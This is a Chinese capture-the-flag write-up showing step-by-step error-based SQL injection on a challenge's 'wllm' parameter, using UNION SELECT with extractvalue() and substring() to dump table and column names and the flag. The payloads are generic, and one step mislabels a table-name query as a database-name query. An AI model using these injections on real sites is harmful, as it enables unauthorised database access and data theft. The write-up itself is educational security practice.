打开题目，提示输入一些东西，很显眼的可以看到网站标题为“参数是wllm”
首先单引号判断闭合方式
?wllm=1'
报错了，可以判断为单引号闭合。
然后判断字节数（注意‘--’后面的空格）
?wllm=1' order by 3-- 
接着输入4就报错了，由此判断字段数数是3
我们已经知道了字段数，直接爆库名（注意最后的空格）
?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3-- 
爆出库名是库名是test_db
然后爆表名（注意空格）
/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3-- 然后我们就可以直接查看test_db中的字段
/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3-- 
已经看到了flag字段，直接查看数据
/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),1,30) from test_tb)))-- 
可以看到一半的flag，
因为extractvalue()函数只能返回32个字符，因此我们使用substring()函数解决这个问题：例如substring("abc",1,1)，此语句表示从第一个字符读取一个字符返回，在上面的payload中，我们得到的数据中，从第一个字符起读取30个字符返回
/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,30) from test_tb)))-- 得到另一半flag
拼接起来就是完整的flag
本题完。